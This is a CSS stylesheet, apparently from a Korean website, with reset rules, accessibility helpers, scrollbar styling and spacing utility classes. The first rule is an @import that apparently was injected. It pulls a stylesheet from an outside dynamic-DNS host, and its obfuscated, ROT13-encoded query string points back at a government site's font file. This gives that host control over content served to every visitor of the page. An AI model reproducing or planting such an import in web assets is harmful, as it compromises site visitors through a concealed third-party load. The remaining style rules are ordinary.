@charset "utf-8";

@import url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spyp.puhapurba.tb.xe%2Spbza%2Spff%2Ssbag.pff');

/* reset */
* {box-sizing:border-box; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; -o-box-sizing:border-box;}
*:hover {transition:all .2s; -webkit-transition:all .2s; -moz-transition:all .2s; -o-transition:all .2s;}
html, body {height:100%;}
html, body, div, form, input, select, button, textarea, legend, fieldset, h1, h2, h3, h4, h5, h6, ul, ol, dl, li, dt, dd, blockquote, address, p, th, td, caption {margin:0; padding:0;}
body, input, textarea, select, button, table, a {font-family:'NanumBarunGothic', '돋움', Dotum, Helvetica, sans-serif; font-size:14px; color: #333; line-height:1.3em; letter-spacing:;}
img, fieldset {border:0 none;}
ul, ol, li {list-style:none;}
em,address {font-style:normal;}
a:link, a:hover,a:active,a:focus, a:visited {text-decoration:none; }
table {text-align:center; border-collapse:collapse; border-spacing:0;}
hr {display:none;}
input[type=text], input[type=password], input[type=submit], input[type=search], textarea {-webkit-appearance:none; -webkit-border-radius:0}
input, select, textarea {vertical-align:middle; resize:none;}
input[type=text], input[type=password]  {border:1px solid #dcdcdc; background-color:#f7f7f7; padding:2px; height:30px; line-height: 29px;}
select {border:1px solid #b6b6b6; background-color:#fff; padding:2px; height:30px}
button {border:0 none; background:transparent; cursor:pointer;}
img {vertical-align:top;}
.bbs_form img {max-width:100%;}
.secret-ico {vertical-align: middle; margin-right:8px;}

/* common */
.ir_pm {display:block; overflow:hidden; font-size:0px; line-height:0; text-indent:-9999px} /* 사용된 이미지내 의미있는 텍스트의 대체텍스트를 제공할때 */
.ir_wa {position:relative; z-index:-10; display:block; overflow:hidden;width:100%; height:100%} /* 중요한 이미지 대체텍스트로 이미지off시에도 대체 텍스트를 보여주고자 할때 */
.screen_out {position:absolute; overflow:hidden; width:0; height:0; line-height:0; text-indent:-9999px} /* 대체텍스트가 아닌 접근성을 위한 숨김텍스트를 제공할때 */
caption, legend, .blind {width:0;height:0;font-size:0;line-height:0;text-indent:-9999px;overflow:hidden;}

/*2020 02 04 추가*/
#lecPrint {margin-top: 50px;}


.skipnav {position:absolute; top:-40px; left:0; z-index:10001; width:200px; height:24px; padding-top:4px; background-color:#000; font-size:14px; font-weight:bold; line-height:1.2em; color:#fff; text-align:center;}
a.skipnav:active, a.skipnav:focus {top:0;}
.clearfix:after {content:"";display:block; clear:both;}
.slick-track,
.slick-track:hover,
.slick-slide,
.slick-slide:hover,
.slick-slide img,
.slick-slide img:hover{transition:none; -webkit-transition:none; -moz-transition:none; -o-transition:none;}

/*2020.01.15 추가 s*/
.sub_cont_wrap:hover {transition: none;}

/*스크롤*/
::-webkit-scrollbar {
    -webkit-appearance: none;
}

::-webkit-scrollbar:vertical {
    width: 12px;
}

::-webkit-scrollbar:horizontal {
    height: 12px;
}

::-webkit-scrollbar-thumb {
    background-color: rgba(0, 0, 0, .25);
    border-radius: 10px;
    border: 3px solid #ffffff;
}

::-webkit-scrollbar-track {
    border-radius: 10px;
    background-color: #ffffff;
}


/* margin */
.mt10 {margin-top: 10px;}
.mt15 {margin-top: 15px;}
.mt20 {margin-top: 20px;}
.mt30 {margin-top: 30px;}
.mt40 {margin-top: 40px;}
.mt50 {margin-top: 50px;}
.mt60 {margin-top: 60px;}
.mt70 {margin-top: 70px;}
.mt80 {margin-top: 80px;}
.mt90 {margin-top: 90px;}
.mt100 {margin-top: 100px;}
.mb10 {margin-bottom: 10px;}
.mb20 {margin-bottom: 20px;}
.mb30 {margin-bottom: 30px;}
.mb40 {margin-bottom: 40px;}
.mb50 {margin-bottom: 50px;}
.mb60 {margin-bottom: 60px;}
.mb100 {margin-bottom: 100px;}
.mr3 {margin-right: 3px;}
.mr10 {margin-right: 10px;}
.ml10 {margin-left: 10px;}

/* padding */
.pt10 {padding-top: 10px;}
.pt15 {padding-top: 15px;}
.pt20 {padding-top: 20px;}
.pt30 {padding-top: 30px;}
.pt40 {padding-top: 40px;}
.pt50 {padding-top: 50px;}
.pt60 {padding-top: 60px;}
.pb10 {padding-bottom: 10px;}
.pb20 {padding-bottom: 20px;}
.pb30 {padding-bottom: 30px;}
.pb40 {padding-bottom: 40px;}
.pb50 {padding-bottom: 50px;}
.pb60 {padding-bottom: 60px;}
.pb100 {padding-bottom: 100px;}
.pl10 {padding-left: 10px;}
/*2020.01.15 추가 e*/

.mobshow {display: none;}

@media screen and (max-width: 768px){
    .mobshow {display: block;}
    .mobhide {display: none;}
}

.screen_out {
    overflow: hidden;
    position: absolute;
    top: -9999px;
    left: -9999px;
    width: 1px;
    height: 1px;
    font-size: 1px;
}

/*text-align*/
.tl {text-align: left;}
.tr {text-align: right;}
.tc {text-align: center;}